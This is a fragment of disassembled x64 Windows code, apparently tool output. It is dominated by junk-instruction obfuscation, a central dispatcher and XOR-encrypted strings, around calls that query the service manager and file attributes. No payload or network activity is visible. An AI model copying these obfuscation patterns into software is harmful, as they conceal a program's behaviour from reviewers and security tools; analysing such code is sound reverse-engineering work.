lea rax, [rbp + 0xd0]
jmp 0x1400d2498
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xa0]
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.1400b643b
push rax
pushf
mov eax, 0xe89d6854
pushf
not eax
add eax, 0x834e707b
xor eax, 0xf801024c
rol eax, 0x63
popf
pushf
not eax
add eax, 0xafa77a9d
xor eax, 0x9fe72749
rol eax, 0xca
popf
jmp 0x1400d0cce
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x1400d250a
push rax
pushf
mov eax, 0x232fa3c0
pushf
not eax
add eax, 0xda1a804f
xor eax, 0xc474e322
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xb0b5ab28
xor eax, 0xe63ccc76
rol eax, 0xb6
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x4ec4e7b1
pushf
not eax
add eax, 0xbde6ddc9
xor eax, 0xe6d9c5d8
rol eax, 0xab
popf
pushf
not eax
add eax, 0xab445f3b
xor eax, 0xea25e2eb
rol eax, 0x8b
popf
jmp 0x1400d0cce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d258b
push rax
pushf
mov eax, 0xedd10882
pushf
not eax
add eax, 0xf7c2fcad
xor eax, 0xbd8d78d9
rol eax, 0xae
popf
pushf
not eax
add eax, 0xed6bcac8
xor eax, 0xca2edd60
rol eax, 0x7d
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xd4103bf
pushf
not eax
add eax, 0x957bcec3
xor eax, 0xa2daaf74
rol eax, 0x99
popf
pushf
not eax
add eax, 0xafdd883c
xor eax, 0xcc07c773
rol eax, 0xc9
popf
jmp 0x1400d0cce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d2619
push rax
pushf
mov eax, 0x34df6c66
pushf
not eax
add eax, 0xc2e7e31a
xor eax, 0xb9f459ac
rol eax, 0x99
popf
pushf
not eax
add eax, 0xa11e0e96
xor eax, 0x8e87b53c
rol eax, 0xde
popf
pushf
not eax
add eax, 0xf603be9f
xor eax, 0xfaf93ddc
rol eax, 0x96
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x3bce204d
pushf
not eax
add eax, 0xcf24edf9
xor eax, 0xb8fa8bf8
rol eax, 0x39
popf
pushf
not eax
add eax, 0xe89edd38
xor eax, 0xdb21a164
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xbeecdf28
xor eax, 0xd1f348c4
rol eax, 0x24
popf
jmp 0x1400d0cce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3e2b
push rax
pushf
mov eax, 0xbb62ee23
pushf
not eax
add eax, 0xc45e6c2c
xor eax, 0x862fd250
rol eax, 1
popf
pushf
not eax
add eax, 0x924cdff9
xor eax, 0xe7a3839d
rol eax, 0x49
popf
pushf
not eax
add eax, 0xdc9ba05e
xor eax, 0xdc91eb30
rol eax, 0xc2
popf
jmp 0x1400d0cce
movdqa xmm0, xmmword [0x140078e90]
movdqu xmmword [rbp + 0xe0], xmm0
mov word [rbp + 0xd0], r12w
movabs rdi, 0x6a94ccb3defbffdf
pushf
not rdi
add rdi, 0x768de36b
xor rdi, 0x714ac224
rol rdi, 0x32
popf
pushf
not rdi
add rdi, 0x79b898c9
xor rdi, 0x52a5f8fe
rol rdi, 0xdc
popf
pushf
not rdi
add rdi, 0x55c793c6
xor rdi, 0x63f952c0
rol rdi, 0xf8
popf
mov qword [rsp + 0x30], rdi
movabs rbx, 0xad4ba2b663546cc
pushf
not rbx
add rbx, 0x4055f023
xor rbx, 0x633792d2
rol rbx, 0x3d
popf
pushf
not rbx
add rbx, 0x74d58d4e
xor rbx, 0x60c25258
rol rbx, 6
popf
pushf
not rbx
add rbx, 0x587e88e0
xor rbx, 0x685e3620
rol rbx, 0xe4
popf
pushf
not rbx
add rbx, 0x577cd948
xor rbx, 0x79b67e2c
rol rbx, 3
popf
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.1400c0731
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], r15
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [rbp + 0x80]
test al, al
movabs rax, 0x60ff7ee62e003cd
pushf
not rax
add rax, 0x5aa1dfc0
xor rax, 0x553bc224
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x557554f1
xor rax, 0x45d45d0c
rol rax, 0x32
popf
mov qword [rbp + 0xa0], rax
je 0x1400d289c
push rax
pushf
mov eax, 0xc8eb18d
pushf
not eax
add eax, 0xc6f069a3
xor eax, 0xfe17669a
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xb2384847
xor eax, 0xd3a90490
rol eax, 0xba
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x2e61d948
pushf
not eax
add eax, 0xc4ac1e61
xor eax, 0x8a4e1ca0
rol eax, 0x59
popf
pushf
not eax
add eax, 0xf586143d
xor eax, 0x85360b89
rol eax, 0x8e
popf
jmp 0x1400d0cce
movabs rax, 0xfef8a1f8cd87084b
pushf
not rax
add rax, 0x485682de
xor rax, 0x41d1cafb
rol rax, 0x56
popf
pushf
not rax
add rax, 0x52604d8a
xor rax, 0x57a82cc4
rol rax, 0x72
popf
pushf
not rax
add rax, 0x418451f0
xor rax, 0x5380177e
rol rax, 0x5f
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xda0c43e3e4a402fa
pushf
not rax
add rax, 0x4a3607c3
xor rax, 0x4c98960f
rol rax, 0x43
popf
pushf
not rax
add rax, 0x46ba8348
xor rax, 0x5fe2cf8d
rol rax, 0x4f
popf
pushf
not rax
add rax, 0x4b6c5622
xor rax, 0x703d9a88
rol rax, 0x64
popf
pushf
not rax
add rax, 0x74ee60a0
xor rax, 0x7c2d017d
rol rax, 0x9c
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x5766ff4b183e904f
pushf
not rax
add rax, 0x52792fb9
xor rax, 0x54af847d
rol rax, 0x47
popf
pushf
not rax
add rax, 0x46188556
xor rax, 0x6dfd518b
rol rax, 0x71
popf
pushf
not rax
add rax, 0x73be1725
xor rax, 0x47c2c7b9
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x52d98bd1
xor rax, 0x6b1b6943
rol rax, 0x93
popf
mov qword [rbp + 0x90], rax
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
call fcn.1400b9268
lea rdx, [0x1b4a8f3d5]
pushf
sub rdx, 0x74a873b5
popf
mov rcx, rax
jmp 0x1400d2a40
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5beb
movabs rax, 0x1ccf0f2b6c34b5f9
pushf
not rax
add rax, 0x5ebd1cc7
xor rax, 0x428791f9
rol rax, 0x33
popf
pushf
not rax
add rax, 0x556e6d28
xor rax, 0x6975be47
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x76f1acb1
xor rax, 0x65bc13b7
rol rax, 0x72
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xca8019bf3c0105c4
pushf
not rax
add rax, 0x71c2bce6
xor rax, 0x64c82a56
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x7cc884d9
xor rax, 0x6c4c1ba9
rol rax, 0x5e
popf
mov qword [rbp + 0xb0], rax
movabs r13, 0xe692aa7ff08a7d5c
pushf
not r13
add r13, 0x4b0610d5
xor r13, 0x5195f6d3
rol r13, 0x81
popf
pushf
not r13
add r13, 0x57b62fa6
xor r13, 0x49104c9e
rol r13, 0xa8
popf
pushf
not r13
add r13, 0x4991f8f3
xor r13, 0x5b74709b
rol r13, 0x2d
popf
mov qword [rbp + 0x90], r13
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
call fcn.1400b9268
lea rdx, [0x1a442a3e0]
pushf
sub rdx, 0x644223c0
popf
mov rcx, rax
jmp 0x1400d2bc3
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400d2bfd
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
movabs rax, 0xd3948acf06c1c52f
pushf
not rax
add rax, 0x53295ec3
xor rax, 0x65d67c9f
rol rax, 0x38
popf
pushf
not rax
add rax, 0x5b3b14d5
xor rax, 0x7c524b83
rol rax, 0x2f
popf
movabs rcx, 0xa6d97ab7d915bb26
pushf
not rcx
add rcx, 0x757dcbc2
xor rcx, 0x4d6fb1a8
rol rcx, 0xbe
popf
pushf
not rcx
add rcx, 0x79362c68
xor rcx, 0x67793603
rol rcx, 0x8c
popf
movabs rdi, 0x4681b4c3807f774f
pushf
not rdi
add rdi, 0x73f85dfa
xor rdi, 0x55cfa676
rol rdi, 0x7d
popf
pushf
not rdi
add rdi, 0x52c88008
xor rdi, 0x6b8a97a9
rol rdi, 0xc8
popf
pushf
not rdi
add rdi, 0x45293a19
xor rdi, 0x7aa4b5a3
rol rdi, 0xfb
popf
test rbx, rbx
jne 0x1400d2d1e
push rax
pushf
mov eax, 0x6ad05096
pushf
not eax
add eax, 0xc79ae2b7
xor eax, 0xd6ff24d7
rol eax, 0x38
popf
pushf
not eax
add eax, 0x92b8a044
xor eax, 0xef393e10
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfcc221bb
xor eax, 0x87783679
rol eax, 0xb6
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xe15c170f
pushf
not eax
add eax, 0xddcca0bd
xor eax, 0xb01393f5
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xa990fb2e
xor eax, 0xe15c4a95
rol eax, 0xec
popf
jmp 0x1400d0cce
mov qword [rbp + 0x100], rax
movabs rax, 0x8a0e007554f3ae8f
pushf
not rax
add rax, 0x78e95165
xor rax, 0x64234b41
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x6ba05564
xor rax, 0x40006c67
rol rax, 0xa8
popf
mov qword [rbp + 0x108], rax
movabs rax, 0x84c43cb79ed74b66
pushf
not rax
add rax, 0x63e102c4
xor rax, 0x61ab7b33
rol rax, 0x88
popf
pushf
not rax
add rax, 0x6590c920
xor rax, 0x443cc9cb
rol rax, 0x94
popf
pushf
not rax
add rax, 0x7e755009
xor rax, 0x76ef0f8c
rol rax, 0xc3
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x48f2224a6d21463f
pushf
not rax
add rax, 0x5a164635
xor rax, 0x5d765f8d
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x7d2b298a
xor rax, 0x7c71d9a8
rol rax, 0x91
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x74a31e1f03a5f54f
pushf
not rax
add rax, 0x40883d70
xor rax, 0x6c1acac3
rol rax, 0xd
popf
pushf
not rax
add rax, 0x59526982
xor rax, 0x5a88008c
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x403284ea
xor rax, 0x53ca2e51
rol rax, 0x67
popf
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov rbx, rax
jmp 0x1400d2f0f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d2f1b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1b7c2018c]
pushf
sub rdx, 0x77c1816c
popf
mov rcx, rax
jmp 0x1400d2f37
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d3362
mov r8d, 0xca45153
pushf
not r8d
add r8d, 0x898465b5
xor r8d, 0xfea182af
rol r8d, 0x21
popf
pushf
not r8d
add r8d, 0x96e78087
xor r8d, 0xe9620706
rol r8d, 0x5e
popf
pushf
not r8d
add r8d, 0x893d7042
xor r8d, 0xaa7b5ac6
rol r8d, 0x31
popf
lea rdx, [rsp + 0x30]
mov rcx, rbx
jmp 0x1400d2ff5
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
jne 0x1400d305d
push rax
pushf
mov eax, 0xb8b6954f
pushf
not eax
add eax, 0xa9211052
xor eax, 0xe5d377d8
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x997744c4
xor eax, 0xb9f010dc
rol eax, 0x37
popf
pushf
not eax
add eax, 0xa418e9e1
xor eax, 0x8efd9741
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xbcab954a
xor eax, 0xa5c3b220
rol eax, 0xd4
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x6f8ba698
pushf
not eax
add eax, 0xb103a6f5
xor eax, 0xbec17be9
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xe342823c
xor eax, 0x893bda26
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc6c5afe0
xor eax, 0xa294fb54
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xd7bc9452
xor eax, 0xaaec7871
rol eax, 0xb9
popf
jmp 0x1400d0cce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x424
je 0x1400d3110
push rax
pushf
mov eax, 0xf5fe76a5
pushf
not eax
add eax, 0xdb7e0a22
xor eax, 0x981c74ef
rol eax, 0x82
popf
pushf
not eax
add eax, 0xc9dd2ccc
xor eax, 0xc640b28d
rol eax, 0xac
popf
pushf
not eax
add eax, 0x8352029d
xor eax, 0xaf82d06c
rol eax, 0x3d
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x5239e346
pushf
not eax
add eax, 0xfb06c8fa
xor eax, 0xb5f0442b
rol eax, 0x58
popf
pushf
not eax
add eax, 0xb638f742
xor eax, 0xe567a606
rol eax, 0xa
popf
pushf
not eax
add eax, 0xb3dcdfb5
xor eax, 0xfa5750fc
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xe49b424f
xor eax, 0x9fcc73dc
rol eax, 0xc0
popf
jmp 0x1400d0cce
movabs rax, 0xcb71122a61d3ff07
pushf
not rax
add rax, 0x4f9f2e48
xor rax, 0x5600a956
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x6b9aeb6d
xor rax, 0x4b6afe5e
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x64ebe0fa
xor rax, 0x432a4203
rol rax, 0xc
popf
pushf
not rax
add rax, 0x7eec5094
xor rax, 0x643da290
rol rax, 0xaf
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x9d9c9850fc18086c
pushf
not rax
add rax, 0x587ab616
xor rax, 0x44cddb77
rol rax, 7
popf
pushf
not rax
add rax, 0x726ab507
xor rax, 0x58d21387
rol rax, 0x98
popf
pushf
not rax
add rax, 0x640eba89
xor rax, 0x4db629a6
rol rax, 0x67
popf
pushf
not rax
add rax, 0x447ab98e
xor rax, 0x77fcfebd
rol rax, 0x4d
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xab55dfe37ccdd48b
pushf
not rax
add rax, 0x56754ede
xor rax, 0x4b9d81f3
rol rax, 0x68
popf
pushf
not rax
add rax, 0x41a6a0f1
xor rax, 0x430a62c1
rol rax, 0x29
popf
pushf
not rax
add rax, 0x697fd61c
xor rax, 0x5006e47c
rol rax, 0x26
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov edx, edi
mov rcx, rax
jmp 0x1400d3303
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x192d20bdf]
pushf
sub rdx, 0x52d18bbf
popf
mov rcx, rax
jmp 0x1400d331f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x6df31d1c
pushf
not eax
add eax, 0xd3d8ca36
xor eax, 0xad821c1b
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xb13eb791
xor eax, 0xd89e535d
rol eax, 0xd0
popf
jmp 0x1400d0cce
mov rcx, rbx
jmp 0x1400d335c
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
movabs rax, 0xadb9e04a70f934bf
pushf
not rax
add rax, 0x57b2074b
xor rax, 0x4346ece5
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x6d6a1068
xor rax, 0x649fcadb
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x46177fe8
xor rax, 0x5041223e
rol rax, 0xd9
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0xbad7c49808389672
pushf
not rax
add rax, 0x48202ef9
xor rax, 0x65f42984
rol rax, 0x82
popf
pushf
not rax
add rax, 0x43a83d06
xor rax, 0x5122add2
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x491ae7ff
xor rax, 0x4b77b253
rol rax, 0x75
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xcef412dd45eca1af
pushf
not rax
add rax, 0x61cb8712
xor rax, 0x55cbcb47
rol rax, 0x97
popf
pushf
not rax
add rax, 0x6f865a42
xor rax, 0x43f6c88b
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x713edaa6
xor rax, 0x6e5e00f2
rol rax, 0xe4
popf
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9268
lea rdx, [0x19af02694]
pushf
sub rdx, 0x5aefa674
popf
mov rcx, rax
jmp 0x1400d34de
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
jmp 0x1400d34f6
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400d3534
push rax
pushf
mov eax, 0x3f10253
pushf
not eax
add eax, 0xccf5dffc
xor eax, 0xf3fd4f91
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x8886d5fe
xor eax, 0xfeaf096e
rol eax, 0xa4
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x699726b6
pushf
not eax
add eax, 0xd0097256
xor eax, 0xac1a8325
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xb5c69b24
xor eax, 0x9fb4d3af
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xe7b83863
xor eax, 0xd5c5f892
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xfe536b2f
xor eax, 0xc74845a5
rol eax, 0x48
popf
jmp 0x1400d0cce
test al, 0x10
jne 0x1400d35c4
push rax
pushf
mov eax, 0x173b1938
pushf
not eax
add eax, 0xd15654d9
xor eax, 0xe4b484d8
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9b42fa35
xor eax, 0x8f7f8245
rol eax, 0x91
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x182d536f
pushf
not eax
add eax, 0xba342106
xor eax, 0xc8759df7
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xc806be8f
xor eax, 0x840570f0
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xa4a008e7
xor eax, 0xa95644bb
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xfdaeea3c
xor eax, 0xb46d611d
rol eax, 0x34
popf
jmp 0x1400d0cce
mov al, reloc.WLDAP32.dll_Ordinal_32
pushf
not al
add al, 0x8a
xor al, 0x46
rol al, 0x12
popf
pushf
not al
add al, 0xdb
xor al, 0x82
rol al, 0xd
popf
pushf
not al
add al, 0x44
xor al, 0x67
rol al, 0x96
popf
pushf
not al
add al, 0xea
xor al, 0xf0
rol al, 0x56
popf
jmp 0x1400d36e6
xor al, al
push rax
pushf
mov eax, 0x5e3615fb
pushf
not eax
add eax, 0xbdb33e27
xor eax, 0xb4d81d13
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xc817b096
xor eax, 0x84ceb419
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x93f07497
xor eax, 0xad0cfaa1
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb8ad5e41
xor eax, 0xbf8383e4
rol eax, 0xc3
popf
jmp 0x1400d0cce
test al, al
je 0x1400d3734
push rax
pushf
mov eax, 0x80253d6c
pushf
not eax
add eax, 0xc05aa2ea
xor eax, 0x88e858f0
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8d795456
xor eax, 0xa890f557
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xcefaccd0
xor eax, 0x9b27db28
rol eax, 0x64
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x8d7f43de
pushf
not eax
add eax, 0xa84d5904
xor eax, 0xc90ee633
rol eax, 0x15
popf
pushf
not eax
add eax, 0xefe83f3f
xor eax, 0xf02c1ae8
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x870c9dcd
xor eax, 0x82f6a526
rol eax, 0x42
popf
pushf
not eax
add eax, 0xb30b1bef
xor eax, 0xdf5ebdcd
rol eax, 0x99
popf
jmp 0x1400d0cce
movabs rax, 0xe4d35132c6fc182b
pushf
not rax
add rax, 0x77c32b40
xor rax, 0x66e7fc50
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x4b51ac31
xor rax, 0x7199cd4f
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x7c23d253
xor rax, 0x62caf0b9
rol rax, 0xdc
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x579e32b250dda58b
pushf
not rax
add rax, 0x6c1a8166
xor rax, 0x594a113f
rol rax, 0xdd
popf
pushf
not rax
add rax, 0x7d9a20ef
xor rax, 0x63765790
rol rax, 0x10
popf
pushf
not rax
add rax, 0x468f75db
xor rax, 0x5b8f5fe0
rol rax, 0xc4
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xa2d316c39a8c9005
pushf
not rax
add rax, 0x6bc9b345
xor rax, 0x4ce1a518
rol rax, 0x65
popf
pushf
not rax
add rax, 0x54ea9b36
xor rax, 0x6dcb53d6
rol rax, 0xd
popf
pushf
not rax
add rax, 0x53675c88
xor rax, 0x7e371118
rol rax, 0x42
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x9d117aaa73404b0f
pushf
not rax
add rax, 0x417b1fd0
xor rax, 0x6e2ce9f6
rol rax, 0xde
popf
pushf
not rax
add rax, 0x77e78402
xor rax, 0x7b2202c9
rol rax, 0x67
popf
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9268
lea rdx, [0x1bdcecd7d]
pushf
sub rdx, 0x7dce4d5d
popf
mov rcx, rax
jmp 0x1400d3941
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d448f
xor edx, edx
mov r8d, 0x9dcdadaa
pushf
not r8d
add r8d, 0xc753b000
xor r8d, 0xcc5941b2
rol r8d, 0x27
popf
pushf
not r8d
add r8d, 0xc7734c09
xor r8d, 0xd7d15c36
rol r8d, 0xde
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400f69b4
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, [0x18646e8cc]
pushf
sub rdi, 0x463f6ba4
popf
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
cmp qword [rbp - 8], 0
jne 0x1400d3a75
push rax
pushf
mov eax, 0x3afac55b
pushf
not eax
add eax, 0x8d20f5ce
xor eax, 0x9a4f7c75
rol eax, 0x53
popf
pushf
not eax
add eax, 0xf205bc16
xor eax, 0x91c7789f
rol eax, 0x9f
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x7cc32784
pushf
not eax
add eax, 0xe9e13d08
xor eax, 0xfaa1871c
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xd0f05c9e
xor eax, 0xc49e89ca
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf723cb72
xor eax, 0xecf7b9f1
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xe72e497c
xor eax, 0x8d6e62e3
rol eax, 0xf8
popf
jmp 0x1400d0cce
